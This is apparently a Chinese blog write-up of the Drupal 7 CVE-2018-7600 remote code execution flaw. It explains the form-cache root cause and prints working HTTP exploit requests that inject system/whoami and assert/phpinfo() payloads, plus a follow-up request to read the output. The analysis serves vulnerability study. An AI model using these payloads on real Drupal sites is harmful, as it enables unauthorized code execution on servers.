0x00 Preface
前段时间看到柠檬师傅的drupal7 rce的文章,然后想起Ricter大佬好像也有篇类似的文章,然后仔细研究了一番~
0x01 Theory
漏洞造成的原理就是因为没有对用户传入的变量做限制和form_parent
导致Drupal遍历到用户控制的#value
0x02 Triggering Vulnerability
file_ajax_upload
这里就是验证$form_build_id
和$_POST["form_build_id"]
是否相等,如果相等就取出被缓存的$form
,然后再将$form
的值交给durpal_render($form)
进行渲染。
从而成为漏洞的触发点了,也就是为什么后面我们要发第二次POST请求的原因。
form cache
这里只需要用户输入的_triggering_element_value
和$element['#name']
相等,即可成功绕过,这就是后面为什么第一个POST请求中要将_triggering_element_name=name
。
Inject to form
既然漏洞触发点有了,那就应该去找在哪里注入payload了。
刚好user_pass函数中可以看到$_GET['name']
,于是就可以从这里入手了。
Key Point to arbitrary RCE
在这种情况下
Ricter大佬直接用passthru函数执行命令,肯定是执行不了的。
柠檬师傅找了另外一个利用点#attached
,一样还是执行不了在黑名单里面的函数。
所以这就延伸到了另一个问题~~
当~~~disable_functions里面命令函数全都禁用掉了之后,该怎么办呢~(挖坑)~
Payload
常规利用点
POST /drupal-7.57/?q=user/password&name[%23post_render][]=system&name[%23markup]=whoami&name[%23type]=markup HTTP/1.1
...
form_id=user_pass&_triggering_element_name=name
attached利用点
POST /drupal-7.57/?q=user/password&name[%23attached][assert][][]=phpinfo() HTTP/1.1
...
form_id=user_pass&_triggering_element_name=name
获取$form 缓存(查看命令执行结果)
POST /drupal-7.57/?q=file/ajax/name/%23value/form-xxx HTTP/1.1
...
form_build_id=form-xxx
0x03 Reference
Drupal 7 - CVE-2018-7600 PoC Writeup
drupal7 cve-2018-7600任意代码执行利用